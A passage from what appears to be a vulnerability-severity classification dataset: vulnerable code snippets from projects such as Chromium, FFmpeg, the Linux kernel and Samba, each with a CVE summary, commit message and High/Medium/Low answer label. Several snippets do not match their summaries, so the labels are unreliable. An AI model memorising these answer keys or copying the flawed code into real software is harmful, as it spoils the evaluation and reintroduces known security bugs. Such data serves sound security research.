This patch fixes the emulator to behave as real CPUs do for near branches.
Far branches are handled by the next patch.
This fixes CVE-2014-3647.
Cc: [email protected]
Signed-off-by: Nadav Amit <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]> | Low | 169,915 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void GLSurfaceEGLSurfaceControl::SwapBuffersAsync(
SwapCompletionCallback completion_callback,
PresentationCallback presentation_callback) {
CommitPendingTransaction(std::move(completion_callback),
std::move(presentation_callback));
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 52.0.2743.82 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: gpu/android : Add support for partial swap with surface control.
Add support for PostSubBuffer to GLSurfaceEGLSurfaceControl. This should
allow the display compositor to draw the minimum sub-rect necessary from
the damage tracking in BufferQueue on the client-side, and also to pass
this damage rect to the framework.
[email protected]
Bug: 926020
Change-Id: I73d3320cab68250d4c6865bf21c5531682d8bf61
Reviewed-on: https://chromium-review.googlesource.com/c/1457467
Commit-Queue: Khushal <[email protected]>
Commit-Queue: Antoine Labour <[email protected]>
Reviewed-by: Antoine Labour <[email protected]>
Auto-Submit: Khushal <[email protected]>
Cr-Commit-Position: refs/heads/master@{#629852} | Medium | 172,113 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ossl_cipher_initialize(VALUE self, VALUE str)
{
EVP_CIPHER_CTX *ctx;
const EVP_CIPHER *cipher;
char *name;
unsigned char dummy_key[EVP_MAX_KEY_LENGTH] = { 0 };
name = StringValueCStr(str);
GetCipherInit(self, ctx);
if (ctx) {
ossl_raise(rb_eRuntimeError, "Cipher already inititalized!");
}
AllocCipher(self, ctx);
if (!(cipher = EVP_get_cipherbyname(name))) {
ossl_raise(rb_eRuntimeError, "unsupported cipher algorithm (%"PRIsVALUE")", str);
}
/*
* EVP_CipherInit_ex() allows to specify NULL to key and IV, however some
* ciphers don't handle well (OpenSSL's bug). [Bug #2768]
*
* The EVP which has EVP_CIPH_RAND_KEY flag (such as DES3) allows
* uninitialized key, but other EVPs (such as AES) does not allow it.
* Calling EVP_CipherUpdate() without initializing key causes SEGV so we
* set the data filled with "\0" as the key by default.
*/
if (EVP_CipherInit_ex(ctx, cipher, NULL, dummy_key, NULL, -1) != 1)
ossl_raise(eCipherError, NULL);
return self;
}
Vulnerability Type: Bypass
CWE ID: CWE-310
Summary: The openssl gem for Ruby uses the same initialization vector (IV) in GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for context-dependent attackers to bypass the encryption protection mechanism.
Commit Message: cipher: don't set dummy encryption key in Cipher#initialize
Remove the encryption key initialization from Cipher#initialize. This
is effectively a revert of r32723 ("Avoid possible SEGV from AES
encryption/decryption", 2011-07-28).
r32723, which added the key initialization, was a workaround for
Ruby Bug #2768. For some certain ciphers, calling EVP_CipherUpdate()
before setting an encryption key caused segfault. It was not a problem
until OpenSSL implemented GCM mode - the encryption key could be
overridden by repeated calls of EVP_CipherInit_ex(). But, it is not the
case for AES-GCM ciphers. Setting a key, an IV, a key, in this order
causes the IV to be reset to an all-zero IV.
The problem of Bug #2768 persists on the current versions of OpenSSL.
So, make Cipher#update raise an exception if a key is not yet set by the
user. Since encrypting or decrypting without key does not make any
sense, this should not break existing applications.
Users can still call Cipher#key= and Cipher#iv= multiple times with
their own responsibility.
Reference: https://bugs.ruby-lang.org/issues/2768
Reference: https://bugs.ruby-lang.org/issues/8221
Reference: https://github.com/ruby/openssl/issues/49 | Medium | 168,780 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void *hashtable_get(hashtable_t *hashtable, const char *key)
{
pair_t *pair;
size_t hash;
bucket_t *bucket;
hash = hash_str(key);
bucket = &hashtable->buckets[hash % num_buckets(hashtable)];
pair = hashtable_find_pair(hashtable, bucket, key, hash);
if(!pair)
return NULL;
return pair->value;
}
Vulnerability Type: DoS
CWE ID: CWE-310
Summary: Jansson, possibly 2.4 and earlier, does not restrict the ability to trigger hash collisions predictably, which allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted JSON document.
Commit Message: CVE-2013-6401: Change hash function, randomize hashes
Thanks to Florian Weimer and Eric Sesterhenn for reporting, reviewing
and testing. | Medium | 166,530 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: scoped_refptr<EffectPaintPropertyNode> CreateSampleEffectNodeWithElementId() {
EffectPaintPropertyNode::State state;
state.local_transform_space = TransformPaintPropertyNode::Root();
state.output_clip = ClipPaintPropertyNode::Root();
state.opacity = 2.0 / 255.0;
state.direct_compositing_reasons = CompositingReason::kActiveOpacityAnimation;
state.compositor_element_id = CompositorElementId(2);
return EffectPaintPropertyNode::Create(EffectPaintPropertyNode::Root(),
std::move(state));
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 47.0.2526.73 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <[email protected]>
> > Commit-Queue: Xianzhu Wang <[email protected]>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> [email protected],[email protected],[email protected]
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <[email protected]>
> Commit-Queue: Xianzhu Wang <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#554653}
[email protected],[email protected],[email protected]
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <[email protected]>
Reviewed-by: Xianzhu Wang <[email protected]>
Cr-Commit-Position: refs/heads/master@{#563930} | High | 171,817 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int decode_cblk(Jpeg2000DecoderContext *s, Jpeg2000CodingStyle *codsty,
Jpeg2000T1Context *t1, Jpeg2000Cblk *cblk,
int width, int height, int bandpos)
{
int passno = cblk->npasses, pass_t = 2, bpno = cblk->nonzerobits - 1, y;
int clnpass_cnt = 0;
int bpass_csty_symbol = codsty->cblk_style & JPEG2000_CBLK_BYPASS;
int vert_causal_ctx_csty_symbol = codsty->cblk_style & JPEG2000_CBLK_VSC;
for (y = 0; y < height; y++)
memset(t1->data[y], 0, width * sizeof(**t1->data));
/* If code-block contains no compressed data: nothing to do. */
if (!cblk->length)
return 0;
for (y = 0; y < height + 2; y++)
memset(t1->flags[y], 0, (width + 2) * sizeof(**t1->flags));
cblk->data[cblk->length] = 0xff;
cblk->data[cblk->length+1] = 0xff;
ff_mqc_initdec(&t1->mqc, cblk->data);
while (passno--) {
switch(pass_t) {
case 0:
decode_sigpass(t1, width, height, bpno + 1, bandpos,
bpass_csty_symbol && (clnpass_cnt >= 4),
vert_causal_ctx_csty_symbol);
break;
case 1:
decode_refpass(t1, width, height, bpno + 1);
if (bpass_csty_symbol && clnpass_cnt >= 4)
ff_mqc_initdec(&t1->mqc, cblk->data);
break;
case 2:
decode_clnpass(s, t1, width, height, bpno + 1, bandpos,
codsty->cblk_style & JPEG2000_CBLK_SEGSYM,
vert_causal_ctx_csty_symbol);
clnpass_cnt = clnpass_cnt + 1;
if (bpass_csty_symbol && clnpass_cnt >= 4)
ff_mqc_initdec(&t1->mqc, cblk->data);
break;
}
pass_t++;
if (pass_t == 3) {
bpno--;
pass_t = 0;
}
}
return 0;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: libavcodec/jpeg2000dec.c in FFmpeg before 2.1 does not ensure the use of valid code-block dimension values, which allows remote attackers to cause a denial of service (out-of-bounds array access) or possibly have unspecified other impact via crafted JPEG2000 data.
Commit Message: jpeg2000: check log2_cblk dimensions
Fixes out of array access
Fixes Ticket2895
Found-by: Piotr Bandurski <[email protected]>
Signed-off-by: Michael Niedermayer <[email protected]> | Medium | 165,919 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void a2dp_open_ctrl_path(struct a2dp_stream_common *common)
{
int i;
/* retry logic to catch any timing variations on control channel */
for (i = 0; i < CTRL_CHAN_RETRY_COUNT; i++)
{
/* connect control channel if not already connected */
if ((common->ctrl_fd = skt_connect(A2DP_CTRL_PATH, common->buffer_sz)) > 0)
{
/* success, now check if stack is ready */
if (check_a2dp_ready(common) == 0)
break;
ERROR("error : a2dp not ready, wait 250 ms and retry");
usleep(250000);
skt_disconnect(common->ctrl_fd);
common->ctrl_fd = AUDIO_SKT_DISCONNECTED;
}
/* ctrl channel not ready, wait a bit */
usleep(250000);
}
}
Vulnerability Type: DoS
CWE ID: CWE-284
Summary: Bluetooth in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-08-01 allows attackers to cause a denial of service (loss of Bluetooth 911 functionality) via a crafted application that sends a signal to a Bluetooth process, aka internal bug 28885210.
Commit Message: DO NOT MERGE Fix potential DoS caused by delivering signal to BT process
Bug: 28885210
Change-Id: I63866d894bfca47464d6e42e3fb0357c4f94d360
Conflicts:
btif/co/bta_hh_co.c
btif/src/btif_core.c
Merge conflict resolution of ag/1161415 (referencing ag/1164670)
- Directly into mnc-mr2-release
| Medium | 173,424 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void FakeCrosDisksClient::Mount(const std::string& source_path,
const std::string& source_format,
const std::string& mount_label,
const std::vector<std::string>& mount_options,
MountAccessMode access_mode,
RemountOption remount,
VoidDBusMethodCallback callback) {
MountType type =
source_format.empty() ? MOUNT_TYPE_DEVICE : MOUNT_TYPE_ARCHIVE;
if (GURL(source_path).is_valid())
type = MOUNT_TYPE_NETWORK_STORAGE;
base::FilePath mounted_path;
switch (type) {
case MOUNT_TYPE_ARCHIVE:
mounted_path = GetArchiveMountPoint().Append(
base::FilePath::FromUTF8Unsafe(mount_label));
break;
case MOUNT_TYPE_DEVICE:
mounted_path = GetRemovableDiskMountPoint().Append(
base::FilePath::FromUTF8Unsafe(mount_label));
break;
case MOUNT_TYPE_NETWORK_STORAGE:
if (custom_mount_point_callback_) {
mounted_path =
custom_mount_point_callback_.Run(source_path, mount_options);
}
break;
case MOUNT_TYPE_INVALID:
NOTREACHED();
return;
}
mounted_paths_.insert(mounted_path);
base::PostTaskWithTraitsAndReplyWithResult(
FROM_HERE,
{base::MayBlock(), base::TaskShutdownBehavior::CONTINUE_ON_SHUTDOWN},
base::BindOnce(&PerformFakeMount, source_path, mounted_path),
base::BindOnce(&FakeCrosDisksClient::DidMount,
weak_ptr_factory_.GetWeakPtr(), source_path, type,
mounted_path, std::move(callback)));
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 47.0.2526.80 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: Add a fake DriveFS launcher client.
Using DriveFS requires building and deploying ChromeOS. Add a client for
the fake DriveFS launcher to allow the use of a real DriveFS from a
ChromeOS chroot to be used with a target_os="chromeos" build of chrome.
This connects to the fake DriveFS launcher using mojo over a unix domain
socket named by a command-line flag, using the launcher to create
DriveFS instances.
Bug: 848126
Change-Id: I22dcca154d41bda196dd7c1782bb503f6bcba5b1
Reviewed-on: https://chromium-review.googlesource.com/1098434
Reviewed-by: Xiyuan Xia <[email protected]>
Commit-Queue: Sam McNally <[email protected]>
Cr-Commit-Position: refs/heads/master@{#567513} | High | 171,730 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: mark_context_stack(mrb_state *mrb, struct mrb_context *c)
{
size_t i;
size_t e;
if (c->stack == NULL) return;
e = c->stack - c->stbase;
if (c->ci) e += c->ci->nregs;
if (c->stbase + e > c->stend) e = c->stend - c->stbase;
for (i=0; i<e; i++) {
mrb_value v = c->stbase[i];
if (!mrb_immediate_p(v)) {
if (mrb_basic_ptr(v)->tt == MRB_TT_FREE) {
c->stbase[i] = mrb_nil_value();
}
else {
mrb_gc_mark(mrb, mrb_basic_ptr(v));
}
}
}
}
Vulnerability Type: DoS
CWE ID: CWE-416
Summary: The mark_context_stack function in gc.c in mruby through 1.2.0 allows attackers to cause a denial of service (heap-based use-after-free and application crash) or possibly have unspecified other impact via a crafted .rb file.
Commit Message: Clear unused stack region that may refer freed objects; fix #3596 | Medium | 168,094 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: zrestore(i_ctx_t *i_ctx_p)
{
os_ptr op = osp;
alloc_save_t *asave;
bool last;
vm_save_t *vmsave;
int code = restore_check_operand(op, &asave, idmemory);
if (code < 0)
return code;
if_debug2m('u', imemory, "[u]vmrestore 0x%lx, id = %lu\n",
(ulong) alloc_save_client_data(asave),
(ulong) op->value.saveid);
if (I_VALIDATE_BEFORE_RESTORE)
ivalidate_clean_spaces(i_ctx_p);
ivalidate_clean_spaces(i_ctx_p);
/* Check the contents of the stacks. */
{
int code;
if ((code = restore_check_stack(i_ctx_p, &o_stack, asave, false)) < 0 ||
(code = restore_check_stack(i_ctx_p, &e_stack, asave, true)) < 0 ||
(code = restore_check_stack(i_ctx_p, &d_stack, asave, false)) < 0
) {
osp++;
return code;
}
}
/* Reset l_new in all stack entries if the new save level is zero. */
/* Also do some special fixing on the e-stack. */
restore_fix_stack(i_ctx_p, &o_stack, asave, false);
}
Vulnerability Type: Exec Code Bypass
CWE ID: CWE-78
Summary: It was found that RHSA-2018:2918 did not fully fix CVE-2018-16509. An attacker could possibly exploit another variant of the flaw and bypass the -dSAFER protection to, for example, execute arbitrary shell commands via a specially crafted PostScript document. This only affects ghostscript 9.07 as shipped with Red Hat Enterprise Linux 7.
Commit Message: | High | 164,688 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void InitializePrinting(content::WebContents* web_contents) {
#if BUILDFLAG(ENABLE_PRINT_PREVIEW)
printing::PrintViewManager::CreateForWebContents(web_contents);
printing::PrintPreviewMessageHandler::CreateForWebContents(web_contents);
#else
printing::PrintViewManagerBasic::CreateForWebContents(web_contents);
#endif // BUILDFLAG(ENABLE_PRINT_PREVIEW)
}
Vulnerability Type: +Info
CWE ID: CWE-254
Summary: The FrameFetchContext::updateTimingInfoForIFrameNavigation function in core/loader/FrameFetchContext.cpp in Blink, as used in Google Chrome before 45.0.2454.85, does not properly restrict the availability of IFRAME Resource Timing API times, which allows remote attackers to obtain sensitive information via crafted JavaScript code that leverages a history.back call.
Commit Message: Use pdf compositor service for printing when OOPIF is enabled
When OOPIF is enabled (by site-per-process flag or
top-document-isolation feature), use the pdf compositor service for
converting PaintRecord to PDF on renderers.
In the future, this will make compositing PDF from multiple renderers
possible.
[email protected]
BUG=455764
Change-Id: I3c28f03f4358e4228239fe1a33384f85e7716e8f
Reviewed-on: https://chromium-review.googlesource.com/699765
Commit-Queue: Wei Li <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Cr-Commit-Position: refs/heads/master@{#511616} | Medium | 171,894 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: const char* Track::GetNameAsUTF8() const
{
return m_info.nameAsUTF8;
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 | High | 174,343 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: my_object_objpath (MyObject *obj, const char *incoming, const char **outgoing, GError **error)
{
if (strcmp (incoming, "/org/freedesktop/DBus/GLib/Tests/MyTestObject"))
{
g_set_error (error,
MY_OBJECT_ERROR,
MY_OBJECT_ERROR_FOO,
"invalid incoming object");
return FALSE;
}
*outgoing = "/org/freedesktop/DBus/GLib/Tests/MyTestObject2";
return TRUE;
}
Vulnerability Type: DoS Bypass
CWE ID: CWE-264
Summary: DBus-GLib 0.73 disregards the access flag of exported GObject properties, which allows local users to bypass intended access restrictions and possibly cause a denial of service by modifying properties, as demonstrated by properties of the (1) DeviceKit-Power, (2) NetworkManager, and (3) ModemManager services.
Commit Message: | Low | 165,114 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: my_object_set_property (GObject *object,
guint prop_id,
const GValue *value,
GParamSpec *pspec)
{
MyObject *mobject;
mobject = MY_OBJECT (object);
switch (prop_id)
{
case PROP_THIS_IS_A_STRING:
g_free (mobject->this_is_a_string);
mobject->this_is_a_string = g_value_dup_string (value);
break;
default:
G_OBJECT_WARN_INVALID_PROPERTY_ID (object, prop_id, pspec);
break;
}
}
Vulnerability Type: DoS Bypass
CWE ID: CWE-264
Summary: DBus-GLib 0.73 disregards the access flag of exported GObject properties, which allows local users to bypass intended access restrictions and possibly cause a denial of service by modifying properties, as demonstrated by properties of the (1) DeviceKit-Power, (2) NetworkManager, and (3) ModemManager services.
Commit Message: | Low | 165,120 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool WebGLRenderingContextBase::ValidateHTMLImageElement(
const SecurityOrigin* security_origin,
const char* function_name,
HTMLImageElement* image,
ExceptionState& exception_state) {
if (!image || !image->CachedImage()) {
SynthesizeGLError(GL_INVALID_VALUE, function_name, "no image");
return false;
}
const KURL& url = image->CachedImage()->GetResponse().Url();
if (url.IsNull() || url.IsEmpty() || !url.IsValid()) {
SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid image");
return false;
}
if (WouldTaintOrigin(image, security_origin)) {
exception_state.ThrowSecurityError("The cross-origin image at " +
url.ElidedString() +
" may not be loaded.");
return false;
}
return true;
}
Vulnerability Type:
CWE ID: CWE-20
Summary: Insufficient policy enforcement in WebGL in Google Chrome prior to 64.0.3282.119 allowed a remote attacker to potentially leak user redirect URL via a crafted HTML page.
Commit Message: Simplify WebGL error message
The WebGL exception message text contains the full URL of a blocked
cross-origin resource. It should instead contain only a generic notice.
Bug: 799847
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I3a7f00462a4643c41882f2ee7e7767e6d631557e
Reviewed-on: https://chromium-review.googlesource.com/854986
Reviewed-by: Brandon Jones <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Commit-Queue: Eric Lawrence <[email protected]>
Cr-Commit-Position: refs/heads/master@{#528458} | Medium | 172,690 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void RecordResourceCompletionUMA(bool image_complete,
bool css_complete,
bool xhr_complete) {
base::UmaHistogramBoolean("OfflinePages.Background.ResourceCompletion.Image",
image_complete);
base::UmaHistogramBoolean("OfflinePages.Background.ResourceCompletion.Css",
css_complete);
base::UmaHistogramBoolean("OfflinePages.Background.ResourceCompletion.Xhr",
xhr_complete);
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: Heap buffer overflow during image processing in Skia in Google Chrome prior to 56.0.2924.76 for Linux, Windows and Mac, and 56.0.2924.87 for Android, allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.
Commit Message: Remove unused histograms from the background loader offliner.
Bug: 975512
Change-Id: I87b0a91bed60e3a9e8a1fd9ae9b18cac27a0859f
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1683361
Reviewed-by: Cathy Li <[email protected]>
Reviewed-by: Steven Holte <[email protected]>
Commit-Queue: Peter Williamson <[email protected]>
Cr-Commit-Position: refs/heads/master@{#675332} | Medium | 172,483 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: build_unc_path_to_root(const struct smb_vol *vol,
const struct cifs_sb_info *cifs_sb)
{
char *full_path, *pos;
unsigned int pplen = vol->prepath ? strlen(vol->prepath) + 1 : 0;
unsigned int unc_len = strnlen(vol->UNC, MAX_TREE_SIZE + 1);
full_path = kmalloc(unc_len + pplen + 1, GFP_KERNEL);
if (full_path == NULL)
return ERR_PTR(-ENOMEM);
strncpy(full_path, vol->UNC, unc_len);
pos = full_path + unc_len;
if (pplen) {
*pos++ = CIFS_DIR_SEP(cifs_sb);
strncpy(pos, vol->prepath, pplen);
pos += pplen;
}
*pos = '\0'; /* add trailing null */
convert_delimiter(full_path, CIFS_DIR_SEP(cifs_sb));
cifs_dbg(FYI, "%s: full_path=%s\n", __func__, full_path);
return full_path;
}
Vulnerability Type: DoS Mem. Corr.
CWE ID: CWE-189
Summary: Off-by-one error in the build_unc_path_to_root function in fs/cifs/connect.c in the Linux kernel before 3.9.6 allows remote attackers to cause a denial of service (memory corruption and system crash) via a DFS share mount operation that triggers use of an unexpected DFS referral name length.
Commit Message: cifs: fix off-by-one bug in build_unc_path_to_root
commit 839db3d10a (cifs: fix up handling of prefixpath= option) changed
the code such that the vol->prepath no longer contained a leading
delimiter and then fixed up the places that accessed that field to
account for that change.
One spot in build_unc_path_to_root was missed however. When doing the
pointer addition on pos, that patch failed to account for the fact that
we had already incremented "pos" by one when adding the length of the
prepath. This caused a buffer overrun by one byte.
This patch fixes the problem by correcting the handling of "pos".
Cc: <[email protected]> # v3.8+
Reported-by: Marcus Moeller <[email protected]>
Reported-by: Ken Fallon <[email protected]>
Signed-off-by: Jeff Layton <[email protected]>
Signed-off-by: Steve French <[email protected]> | High | 166,010 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static bool decode_openldap_dereference(void *mem_ctx, DATA_BLOB in, void *_out)
{
void **out = (void **)_out;
struct asn1_data *data = asn1_init(mem_ctx);
struct dsdb_openldap_dereference_result_control *control;
struct dsdb_openldap_dereference_result **r = NULL;
int i = 0;
if (!data) return false;
control = talloc(mem_ctx, struct dsdb_openldap_dereference_result_control);
if (!control) return false;
if (!asn1_load(data, in)) {
return false;
}
control = talloc(mem_ctx, struct dsdb_openldap_dereference_result_control);
if (!control) {
return false;
}
if (!asn1_start_tag(data, ASN1_SEQUENCE(0))) {
return false;
}
while (asn1_tag_remaining(data) > 0) {
r = talloc_realloc(control, r, struct dsdb_openldap_dereference_result *, i + 2);
if (!r) {
return false;
}
r[i] = talloc_zero(r, struct dsdb_openldap_dereference_result);
if (!r[i]) {
return false;
}
if (!asn1_start_tag(data, ASN1_SEQUENCE(0))) {
return false;
}
asn1_read_OctetString_talloc(r[i], data, &r[i]->source_attribute);
asn1_read_OctetString_talloc(r[i], data, &r[i]->dereferenced_dn);
if (asn1_peek_tag(data, ASN1_CONTEXT(0))) {
if (!asn1_start_tag(data, ASN1_CONTEXT(0))) {
return false;
}
ldap_decode_attribs_bare(r, data, &r[i]->attributes,
&r[i]->num_attributes);
if (!asn1_end_tag(data)) {
return false;
}
}
if (!asn1_end_tag(data)) {
return false;
}
i++;
r[i] = NULL;
}
if (!asn1_end_tag(data)) {
return false;
}
control->attributes = r;
*out = control;
return true;
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: The LDAP server in the AD domain controller in Samba 4.x before 4.1.22 does not check return values to ensure successful ASN.1 memory allocation, which allows remote attackers to cause a denial of service (memory consumption and daemon crash) via crafted packets.
Commit Message: | Medium | 164,595 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void DXVAVideoDecodeAccelerator::Decode(
const media::BitstreamBuffer& bitstream_buffer) {
DCHECK(CalledOnValidThread());
RETURN_AND_NOTIFY_ON_FAILURE((state_ == kNormal || state_ == kStopped),
"Invalid state: " << state_, ILLEGAL_STATE,);
base::win::ScopedComPtr<IMFSample> sample;
sample.Attach(CreateSampleFromInputBuffer(bitstream_buffer,
renderer_process_,
input_stream_info_.cbSize,
input_stream_info_.cbAlignment));
RETURN_AND_NOTIFY_ON_FAILURE(sample, "Failed to create input sample",
PLATFORM_FAILURE,);
if (!inputs_before_decode_) {
TRACE_EVENT_BEGIN_ETW("DXVAVideoDecodeAccelerator.Decoding", this, "");
}
inputs_before_decode_++;
RETURN_AND_NOTIFY_ON_FAILURE(
SendMFTMessage(MFT_MESSAGE_NOTIFY_START_OF_STREAM, 0),
"Failed to create input sample", PLATFORM_FAILURE,);
HRESULT hr = decoder_->ProcessInput(0, sample, 0);
RETURN_AND_NOTIFY_ON_HR_FAILURE(hr, "Failed to process input sample",
PLATFORM_FAILURE,);
RETURN_AND_NOTIFY_ON_FAILURE(
SendMFTMessage(MFT_MESSAGE_NOTIFY_END_OF_STREAM, 0),
"Failed to send eos message to MFT", PLATFORM_FAILURE,);
state_ = kEosDrain;
last_input_buffer_id_ = bitstream_buffer.id();
DoDecode();
RETURN_AND_NOTIFY_ON_FAILURE((state_ == kStopped || state_ == kNormal),
"Failed to process output. Unexpected decoder state: " << state_,
ILLEGAL_STATE,);
MessageLoop::current()->PostTask(FROM_HERE, base::Bind(
&DXVAVideoDecodeAccelerator::NotifyInputBufferRead, this,
bitstream_buffer.id()));
}
Vulnerability Type: DoS
CWE ID:
Summary: Google Chrome before 20.0.1132.43 on Windows does not properly isolate sandboxed processes, which might allow remote attackers to cause a denial of service (process interference) via unspecified vectors.
Commit Message: Convert plugin and GPU process to brokered handle duplication.
BUG=119250
Review URL: https://chromiumcodereview.appspot.com/9958034
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@132303 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,941 |
